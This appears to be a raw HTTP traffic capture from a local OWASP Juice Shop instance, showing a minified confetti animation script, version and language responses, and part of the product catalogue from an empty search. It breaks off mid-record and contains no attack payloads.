b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"2b5a-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:31:27 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[103],{8103:(Ce,B,A)=>{A.r(B),A.d(B,{shootConfetti:()=>G});var P={};!function M(m,T,L,x){var N=!!(m.Worker&&m.Blob&&m.Promise&&m.OffscreenCanvas&&m.OffscreenCanvasRenderingContext2D&&m.HTMLCanvasElement&&m.HTMLCanvasElement.prototype.transferControlToOffscreen&&m.URL&&m.URL.createObjectURL),j="function"==typeof Path2D&&"function"==typeof DOMMatrix,J=function(){if(!m.OffscreenCanvas)return!1;var r=new OffscreenCanvas(1,1),e=r.getContext("2d");e.fillRect(0,0,1,1);var a=r.transferToImageBitmap();try{e.createPattern(a,"no-repeat")}catch{return!1}return!0}();function z(){}function E(r){var e=T.exports.Promise,a=void 0!==e?e:m.Promise;return"function"==typeof a?new a(r):(r(z,z),null)}var r,e,R,F=(r=J,e=new Map,{transform:function(a){if(r)return a;if(e.has(a))return e.get(a);var t=new OffscreenCanvas(a.width,a.height);return t.getContext("2d").drawImage(a,0,0),e.set(a,t),t},clear:function(){e.clear()}}),S=function(){var e,a,r=Math.floor(16.666666666666668),t={},o=0;return"function"==typeof requestAnimationFrame&&"function"==typeof cancelAnimationFrame?(e=function(i){var l=Math.random();return t[l]=requestAnimationFrame(function n(s){o===s||o+r-1<s?(o=s,delete t[l],i()):t[l]=requestAnimationFrame(n)}),l},a=function(i){t[i]&&cancelAnimationFrame(t[i])}):(e=function(i){return setTimeout(i,r)},a=function(i){return clearTimeout(i)}),{frame:e,cancel:a}}(),K=function(){var r,e,a={};return function(){if(r)return r;if(!L&&N){var o=["var CONFETTI, SIZE = {}, module = {};","("+M.toString()+")(this, module, true, SIZE);","onmessage = function(msg) {"," if (msg.data.options) {"," CONFETTI(msg.data.options).then(function () {"," if (msg.data.callback) {"," postMessage({ callback: msg.data.callback });"," }"," });"," } else if (msg.data.reset) {"," CONFETTI && CONFETTI.reset();"," } else if (msg.data.resize) {"," SIZE.width = msg.data.resize.width;"," SIZE.height = msg.data.resize.height;"," } else if (msg.data.canvas) {"," SIZE.width = msg.data.canvas.width;"," SIZE.height = msg.data.canvas.height;"," CONFETTI = module.exports.create(msg.data.canvas);"," }","}"].join("\\n");try{r=new Worker(URL.createObjectURL(new Blob([o])))}catch(i){return void 0!==typeof console&&"function"==typeof console.warn&&console.warn("\\u{1f38a} Could not load worker",i),null}!function t(o){function i(l,n){o.postMessage({options:l||{},callback:n})}o.init=function(n){var s=n.transferControlToOffscreen();o.postMessage({canvas:s},[s])},o.fire=function(n,s,u){if(e)return i(n,null),e;var d=Math.random().toString(36).slice(2);return e=E(function(h){function f(g){g.data.callback===d&&(delete a[d],o.removeEventListener("message",f),e=null,F.clear(),u(),h())}o.addEventListener("message",f),i(n,d),a[d]=f.bind(null,{data:{callback:d}})})},o.reset=function(){for(var n in o.postMessage({reset:!0}),a)a[n](),delete a[n]}}(r)}return r}}(),Q={particleCount:50,angle:90,spread:45,startVelocity:45,decay:.9,gravity:1,drift:0,ticks:200,x:.5,y:.5,shapes:["square","circle"],zIndex:100,colors:["#26ccff","#a25afd","#ff5e7e","#88ff5a","#fcff42","#ffa62d","#ff36ff"],disableForReducedMotion:!1,scalar:1};function v(r,e,a){return function $(r,e){return e?e(r):r}(r&&function X(r){return null!=r}(r[e])?r[e]:Q[e],a)}function Y(r){return r<0?0:Math.floor(r)}function ee(r,e){return Math.floor(Math.random()*(e-r))+r}function O(r){return parseInt(r,16)}function re(r){return r.map(ae)}function ae(r){var e=String(r).replace(/[^0-9a-f]/gi,"");return e.length<6&&(e=e[0]+e[0]+e[1]+e[1]+e[2]+e[2]),{r:O(e.substring(0,2)),g:O(e.substring(2,4)),b:O(e.substring(4,6))}}function te(r){r.width=document.documentElement.clientWidth,r.height=document.documentElement.clientHeight}function oe(r){var e=r.getBoundingClientRect();r.width=e.width,r.height=e.height}function se(r){var e=r.angle*(Math.PI/180),a=r.spread*(Math.PI/180);return{x:r.x,y:r.y,wobble:10*Math.random(),wobbleSpeed:Math.min(.11,.1*Math.random()+.05),velocity:.5*r.startVelocity+Math.random()*r.startVelocity,angle2D:-e+(.5*a-Math.random()*a),tiltAngle:(.5*Math.random()+.25)*Math.PI,color:r.color,shape:r.shape,tick:0,totalTicks:r.ticks,decay:r.decay,drift:r.drift,random:Math.random()+2,tiltSin:0,tiltCos:0,wobbleX:0,wobbleY:0,gravity:3*r.gravity,ovalScalar:.6,scalar:r.scalar,flat:r.flat}}function W(r,e){var h,a=!r,t=!!v(e||{},"resize"),o=!1,i=v(e,"disableForReducedMotion",Boolean),n=N&&v(e||{},"useWorker")?K():null,s=a?te:oe,u=!(!r||!n||!r.__confetti_initialized),d="function"==typeof matchMedia&&matchMedia("(prefers-reduced-motion)").matches;function f(c,p,y){for(var b=v(c,"particleCount",Y),C=v(c,"angle",Number),I=v(c,"spread",Number),w=v(c,"startVelocity",Number),ve=v(c,"decay",Number),me=v(c,"gravity",Number),ge=v(c,"drift",Number),U=v(c,"colors",re),Me=v(c,"ticks",Number),V=v(c,"shapes"),pe=v(c,"scalar"),ye=!!v(c,"flat"),Z=function ne(r){var e=v(r,"origin",Object);return e.x=v(e,"x",Number),e.y=v(e,"y",Number),e}(c),q=b,k=[],be=r.width*Z.x,we=r.height*Z.y;q--;)k.push(se({x:be,y:we,angle:C,spread:I,startVelocity:w,color:U[q%U.length],shape:V[ee(0,V.length)],ticks:Me,decay:ve,gravity:me,drift:ge,scalar:pe,flat:ye}));return h?h.addFettis(k):(h=function ue(r,e,a,t,o){var n,s,i=e.slice(),l=r.getContext("2d"),u=E(function(d){function h(){n=s=null,l.clearRect(0,0,t.width,t.height),F.clear(),o(),d()}n=S.frame(function f(){L&&!(t.width===x.width&&t.height===x.height)&&(t.width=r.width=x.width,t.height=r.height=x.height),!t.width&&!t.height&&(a(r),t.width=r.width,t.height=r.height),l.clearRect(0,0,t.width,t.height),(i=i.filter(function(g){return function ce(r,e){e.x+=Math.cos(e.angle2D)*e.velocity+e.drift,e.y+=Math.sin(e.angle2D)*e.velocity+e.gravity,e.velocity*=e.decay,e.flat?(e.wobble=0,e.wobbleX=e.x+10*e.scalar,e.wobbleY=e.y+10*e.scalar,e.tiltSin=0,e.tiltCos=0,e.random=1):(e.wobble+=e.wobbleSpeed,e.wobbleX=e.x+10*e.scalar*Math.cos(e.wobble),e.wobbleY=e.y+10*e.scalar*Math.sin(e.wobble),e.tiltAngle+=.1,e.tiltSin=Math.sin(e.tiltAngle),e.tiltCos=Math.cos(e.tiltAngle),e.random=Math.random()+2);var a=e.tick++/e.totalTicks,t=e.x+e.random*e.tiltCos,o=e.y+e.random*e.tiltSin,i=e.wobbleX+e.random*e.tiltCos,l=e.wobbleY+e.random*e.tiltSin;if(r.fillStyle="rgba("+e.color.r+", "+e.color.g+", "+e.color.b+", "+(1-a)+")",r.beginPath(),j&&"path"===e.shape.type&&"string"==typeof e.shape.path&&Array.isArray(e.shape.matrix))r.fill(function he(r,e,a,t,o,i,l){var n=new Path2D(r),s=new Path2D;s.addPath(n,new DOMMatrix(e));var u=new Path2D;return u.addPath(s,new DOMMatrix([Math.cos(l)*o,Math.sin(l)*o,-Math.sin(l)*i,Math.cos(l)*i,a,t])),u}(e.shape.path,e.shape.matrix,e.x,e.y,.1*Math.abs(i-t),.1*Math.abs(l-o),Math.PI/10*e.wobble));else if("bitmap"===e.shape.type){var n=Math.PI/10*e.wobble,s=.1*Math.abs(i-t),u=.1*Math.abs(l-o),d=e.shape.bitmap.width*e.scalar,h=e.shape.bitmap.height*e.scalar,f=new DOMMatrix([Math.cos(n)*s,Math.sin(n)*s,-Math.sin(n)*u,Math.cos(n)*u,e.x,e.y]);f.multiplySelf(new DOMMatrix(e.shape.matrix));var g=r.createPattern(F.transform(e.shape.bitmap),"no-repeat");g.setTransform(f),r.globalAlpha=1-a,r.fillStyle=g,r.fillRect(e.x-d/2,e.y-h/2,d,h),r.globalAlpha=1}else if("circle"===e.shape)r.ellipse?r.ellipse(e.x,e.y,Math.abs(i-t)*e.ovalScalar,Math.abs(l-o)*e.ovalScalar,Math.PI/10*e.wobble,0,2*Math.PI):function le(r,e,a,t,o,i,l,n,s){r.save(),r.translate(e,a),r.rotate(i),r.scale(t,o),r.arc(0,0,1,l,n,s),r.restore()}(r,e.x,e.y,Math.abs(i-t)*e.ovalScalar,Math.abs(l-o)*e.ovalScalar,Math.PI/10*e.wobble,0,2*Math.PI);else if("star"===e.shape)for(var c=Math.PI/2*3,p=4*e.scalar,y=8*e.scalar,b=e.x,C=e.y,I=5,w=Math.PI/I;I--;)b=e.x+Math.cos(c)*y,C=e.y+Math.sin(c)*y,r.lineTo(b,C),c+=w,b=e.x+Math.cos(c)*p,C=e.y+Math.sin(c)*p,r.lineTo(b,C),c+=w;else r.moveTo(Math.floor(e.x),Math.floor(e.y)),r.lineTo(Math.floor(e.wobbleX),Math.floor(o)),r.lineTo(Math.floor(i),Math.floor(l)),r.lineTo(Math.floor(t),Math.floor(e.wobbleY));return r.closePath(),r.fill(),e.tick<e.totalTicks}(l,g)})).length?n=S.frame(f):h()}),s=h});return{addFettis:function(d){return i=i.concat(d),u},canvas:r,promise:u,reset:function(){n&&S.cancel(n),s&&s()}}}(r,k,s,p,y),h.promise)}function g(c){var p=i||v(c,"disableForReducedMotion",Boolean),y=v(c,"zIndex",Number);if(p&&d)return E(function(w){w()});a&&h?r=h.canvas:a&&!r&&(r=function ie(r){var e=document.createElement("canvas");return e.style.position="fixed",e.style.top="0px",e.style.left="0px",e.style.pointerEvents="none",e.style.zIndex=r,e}(y),document.body.appendChild(r)),t&&!u&&s(r);var b={width:r.width,height:r.height};function C(){if(n){var w={getBoundingClientRect:function(){if(!a)return r.getBoundingClientRect()}};return s(w),void n.postMessage({resize:{width:w.width,height:w.height}})}b.width=b.height=null}function I(){h=null,t&&(o=!1,m.removeEventListener("resize",C)),a&&r&&(document.body.removeChild(r),r=null,u=!1)}return n&&!u&&n.init(r),u=!0,n&&(r.__confetti_initialized=!0),t&&!o&&(o=!0,m.addEventListener("resize",C,!1)),n?n.fire(c,b,I):f(c,b,I)}return g.reset=function(){n&&n.reset(),h&&h.reset()},g}function D(){return R||(R=W(null,{useWorker:!0,resize:!0})),R}T.exports=function(){return D().apply(this,arguments)},T.exports.reset=function(){D().reset()},T.exports.create=W,T.exports.shapeFromPath=function de(r){if(!j)throw new Error("path confetti are not supported in this browser");var e,a;"string"==typeof r?e=r:(e=r.path,a=r.matrix);var t=new Path2D(e),i=document.createElement("canvas").getContext("2d");if(!a){for(var h,f,l=1e3,n=l,s=l,u=0,d=0,g=0;g<l;g+=2)for(var c=0;c<l;c+=2)i.isPointInPath(t,g,c,"nonzero")&&(n=Math.min(n,g),s=Math.min(s,c),u=Math.max(u,g),d=Math.max(d,c));h=u-n,f=d-s;var y=Math.min(10/h,10/f);a=[y,0,0,y,-Math.round(h/2+n)*y,-Math.round(f/2+s)*y]}return{type:"path",path:e,matrix:a}},T.exports.shapeFromText=function fe(r){var e,a=1,t="#000000",o=\'"Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji", "EmojiOne Color", "Android Emoji", "Twemoji Mozilla", "system emoji", sans-serif\';"string"==typeof r?e=r:(e=r.text,a="scalar"in r?r.scalar:a,o="fontFamily"in r?r.fontFamily:o,t="color"in r?r.color:t);var i=10*a,l=i+"px "+o,n=new OffscreenCanvas(i,i),s=n.getContext("2d");s.font=l;var u=s.measureText(e),d=Math.ceil(u.actualBoundingBoxRight+u.actualBoundingBoxLeft),h=Math.ceil(u.actualBoundingBoxAscent+u.actualBoundingBoxDescent),g=u.actualBoundingBoxLeft+2,c=u.actualBoundingBoxAscent+2;d+=4,h+=4,(s=(n=new OffscreenCanvas(d,h)).getContext("2d")).font=l,s.fillStyle=t,s.fillText(e,g,c);var p=1/a;return{type:"bitmap",bitmap:n.transferToImageBitmap(),matrix:[p,0,0,p,-d*p/2,-h*p/2]}}}(function(){return typeof window<"u"?window:typeof self<"u"?self:this||{}}(),P,!1);const H=P.exports,G=()=>{const M=document.createElement("canvas");M.style.position="fixed",M.style.left="0",M.style.right="0",M.style.width="100%",M.style.height="100%",M.style.pointerEvents="none",M.style.zIndex="2000",document.body.appendChild(M);const m=H.create(M,{resize:!0});m({origin:{x:1,y:1},particleCount:225}),m({origin:{y:1,x:0},particleCount:225}),new Promise((m,T)=>{setTimeout(m,6e3)}).then(()=>{M.remove()})}}}]);'
GET http://localhost:3000/rest/admin/application-version HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 20\r\nETag: W/"14-MaUMY3sibizyR/vKaMNxwmHqMLg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"version":"16.0.0"}'
GET http://localhost:3000/rest/languages HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"1308-8EV95V7lUMShnloiieqORKNai/g"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'[{"key":"az_AZ","lang":"Az\xc9\x99rbaycanca","icons":["az"],"shortKey":"AZ","percentage":77.57201646090535,"gauge":"three-quarters"},{"key":"id_ID","lang":"Bahasa Indonesia","icons":["id"],"shortKey":"ID","percentage":29.629629629629626,"gauge":"empty"},{"key":"ca_ES","lang":"Catalan","icons":["es-ct"],"shortKey":"CA","percentage":16.872427983539097,"gauge":"empty"},{"key":"cs_CZ","lang":"\xc4\x8cesky","icons":["cz"],"shortKey":"CS","percentage":80.45267489711934,"gauge":"three-quarters"},{"key":"da_DK","lang":"Dansk","icons":["dk"],"shortKey":"DA","percentage":80.8641975308642,"gauge":"three-quarters"},{"key":"de_DE","lang":"Deutsch","icons":["de"],"shortKey":"DE","percentage":96.50205761316872,"gauge":"full"},{"key":"et_EE","lang":"Eesti","icons":["ee"],"shortKey":"ET","percentage":80.45267489711934,"gauge":"three-quarters"},{"key":"en","icons":["gb","us"],"shortKey":"EN","lang":"English","percentage":100,"gauge":"full"},{"key":"es_ES","lang":"Espa\xc3\xb1ol","icons":["es"],"shortKey":"ES","percentage":80.65843621399176,"gauge":"three-quarters"},{"key":"fr_FR","lang":"Fran\xc3\xa7ais","icons":["fr"],"shortKey":"FR","percentage":81.48148148148148,"gauge":"three-quarters"},{"key":"ga_IE","lang":"Gaeilge","icons":["ie"],"shortKey":"GA","percentage":0.6172839506172839,"gauge":"empty"},{"key":"it_IT","lang":"Italiano","icons":["it"],"shortKey":"IT","percentage":57.20164609053497,"gauge":"half"},{"key":"pl_PL","lang":"J\xc4\x99zyk Polski","icons":["pl"],"shortKey":"PL","percentage":36.831275720164605,"gauge":"quarter"},{"key":"lv_LV","lang":"Latvijas","icons":["lv"],"shortKey":"LV","percentage":30.45267489711934,"gauge":"quarter"},{"key":"hu_HU","lang":"Magyar","icons":["hu"],"shortKey":"HU","percentage":10.493827160493826,"gauge":"empty"},{"key":"nl_NL","lang":"Nederlands","icons":["nl"],"shortKey":"NL","percentage":81.89300411522635,"gauge":"three-quarters"},{"key":"no_NO","lang":"Norsk","icons":["no"],"shortKey":"NO","percentage":73.4567901234568,"gauge":"three-quarters"},{"key":"pt_PT","lang":"Portugu\xc3\xaas","icons":["pt"],"shortKey":"PT","percentage":70.57613168724279,"gauge":"three-quarters"},{"key":"pt_BR","lang":"Portugu\xc3\xaas (Brasil)","icons":["br"],"shortKey":"BR","percentage":82.09876543209876,"gauge":"three-quarters"},{"key":"ru_RU","lang":"P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9","icons":["ru"],"shortKey":"RU","percentage":84.77366255144034,"gauge":"three-quarters"},{"key":"ro_RO","lang":"Rom\xc3\xa2n\xc4\x83","icons":["ro"],"shortKey":"RO","percentage":83.1275720164609,"gauge":"three-quarters"},{"key":"de_CH","lang":"Schwizerd\xc3\xbctsch","icons":["ch"],"shortKey":"CH","percentage":95.26748971193416,"gauge":"full"},{"key":"fi_FI","lang":"Suomalainen","icons":["fi"],"shortKey":"FI","percentage":71.81069958847736,"gauge":"three-quarters"},{"key":"sv_SE","lang":"Svenska","icons":["se"],"shortKey":"SV","percentage":47.73662551440329,"gauge":"quarter"},{"key":"tr_TR","lang":"T\xc3\xbcrk\xc3\xa7e","icons":["tr"],"shortKey":"TR","percentage":84.36213991769547,"gauge":"three-quarters"},{"key":"el_GR","lang":"\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac","icons":["gr"],"shortKey":"EL","percentage":37.65432098765432,"gauge":"quarter"},{"key":"bg_BG","lang":"\xd0\xb1\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 (\xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba)","icons":["bg"],"shortKey":"BG","percentage":30.45267489711934,"gauge":"quarter"},{"key":"uk_UA","lang":"\xd1\x83\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb8\xd0\xb9","icons":["ua"],"shortKey":"UA","percentage":0.205761316872428,"gauge":"empty"},{"key":"ka_GE","lang":"\xe1\x83\xa5\xe1\x83\x90\xe1\x83\xa0\xe1\x83\x97\xe1\x83\xa3\xe1\x83\x9a\xe1\x83\x98","icons":["ge"],"shortKey":"KA","percentage":30.04115226337449,"gauge":"quarter"},{"key":"he_IL","lang":"\xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa","icons":["il"],"shortKey":"HE","percentage":55.349794238683124,"gauge":"half"},{"key":"ar_SA","lang":"\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a","icons":["ae","tn"],"shortKey":"AR","percentage":67.6954732510288,"gauge":"half"},{"key":"hi_IN","lang":"\xe0\xa4\xb9\xe0\xa4\xbf\xe0\xa4\x82\xe0\xa4\xa6\xe0\xa5\x80","icons":["in"],"shortKey":"HI","percentage":30.246913580246915,"gauge":"quarter"},{"key":"bn_BD","lang":"\xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe","icons":["bd"],"shortKey":"BD","percentage":0.205761316872428,"gauge":"empty"},{"key":"si_LK","lang":"\xe0\xb7\x83\xe0\xb7\x92\xe0\xb6\x82\xe0\xb7\x84\xe0\xb6\xbd","icons":["si"],"shortKey":"SI","percentage":2.05761316872428,"gauge":"empty"},{"key":"th_TH","lang":"\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2","icons":["th"],"shortKey":"TH","percentage":63.16872427983539,"gauge":"half"},{"key":"my_MM","lang":"\xe1\x80\x99\xe1\x80\xbc\xe1\x80\x94\xe1\x80\xba\xe1\x80\x99\xe1\x80\xac","icons":["mm"],"shortKey":"MY","percentage":17.48971193415638,"gauge":"empty"},{"key":"ko_KR","lang":"\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4","icons":["kr"],"shortKey":"KO","percentage":45.67901234567901,"gauge":"quarter"},{"key":"zh_CN","lang":"\xe4\xb8\xad\xe6\x96\x87","icons":["cn"],"shortKey":"CN","percentage":99.1769547325103,"gauge":"full"},{"key":"ja_JP","lang":"\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e","icons":["jp"],"shortKey":"JA","percentage":84.36213991769547,"gauge":"three-quarters"},{"key":"zh_HK","lang":"\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87","icons":["hk"],"shortKey":"HK","percentage":26.337448559670783,"gauge":"empty"},{"key":"zh_TW","lang":"\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87","icons":["tw"],"shortKey":"TW","percentage":84.15637860082305,"gauge":"three-quarters"}]'
GET http://localhost:3000/rest/products/search?q= HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"325f-bB6A2ReyRoArta49QDsMgbgK4U0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":24,"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\\"/#recycle\\">sent back to us</a> for recycling.","price":0.89,"deluxePrice":0.89,"image":"apple_pressings.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":6,"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"deluxePrice":1.99,"image":"banana_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":42,"name":"Best Juice Shop Salesman Artwork","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"deluxePrice":5000,"image":"artwork2.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":30,"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \\"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\\"","price":2.99,"deluxePrice":2.99,"image":"carrot_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":3,"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"deluxePrice":8.99,"image":"eggfruit_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":25,"name":"Fruit Press","description":"Fruits go in. Juice comes out. Pomace you can send back to us for recycling purposes.","price":89.99,"deluxePrice":89.99,"image":"fruit_press.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":22,"name":"Green Smoothie","description":"Looks poisonous but is actually very good for your health! Made from green cabbage, spinach, kiwi and grass.","price":1.99,"deluxePrice":1.99,"image":"green_smoothie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":41,"name":"Juice Shop \\"Permafrost\\" 2020 Edition","description":"Exact version of <a href=\\"https://github.com/juice-shop/juice-shop/releases/tag/v9.3.1-PERMAFROST\\">OWASP Juice Shop that was archived on 02/02/2020</a> by the GitHub Archive Program and ultimately went into the <a href=\\"https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic\\">Arctic Code Vault</a> on July 8. 2020 where it will be safely stored for at least 1000 years.","price":9999.99,"deluxePrice":9999.99,"image":"permafrost.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":5,"name":"Lemon Juice (500ml)","description":"Sour but full of vitamins.","price":2.99,"deluxePrice":1.99,"image":"lemon_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":33,"name":"Melon Bike (Comeback-Product 2018 Edition)","description":"The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.","price":2999,"deluxePrice":2999,"image":"melon_bike.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":38,"name":"OWASP Juice Shop \\"King of the Hill\\" Facemask","description":"Facemask with compartment for filter from 50% cotton and 50% polyester.","price":13.49,"deluxePrice":13.49,"image":"fan_facemask.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":8,"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"deluxePrice":22.49,"image":"fan_girlie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":43,"name":"OWASP Juice Shop Card (non-foil)","description":"Mythic rare <small><em>(obviously...)</em></small> card \\"OWASP Juice Shop\\" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!","price":1000,"deluxePrice":1000,"image":"card_alpha.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":34,"name":"OWASP Juice Shop Coaster (10pcs)","description":"Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.","price":19.99,"deluxePrice":19.99,"image":"coaster.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":37,"name":"OWASP Juice Shop Holographic Sticker","description":"Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80\'s coolness!","price":2,"deluxePrice":2,"image":"holo_sticker.png","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":19,"name":"OWASP Juice Shop Hoodie","description":"Mr. Robot-style apparel. But in black. And with logo.","price":49.99,"deluxePrice":49.99,"image":"fan_hoodie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":13,"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"deluxePrice":14.99,"image":"iron-on.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":26,"name":"OWASP Juice Shop Logo (3D-printed)","description":"This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.","price":99.99,"deluxePrice":99.99,"image":"3d_keychain.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":14,"name":"OWASP Juice Shop Magnets (16pcs)","description":"Your fridge will be even cooler with these OWASP Juice Shop or CTF Extension logo <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">magnets</a>!","price":15.99,"deluxePrice":15.99,"image":"magnets.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":18,"name":"OWASP Juice 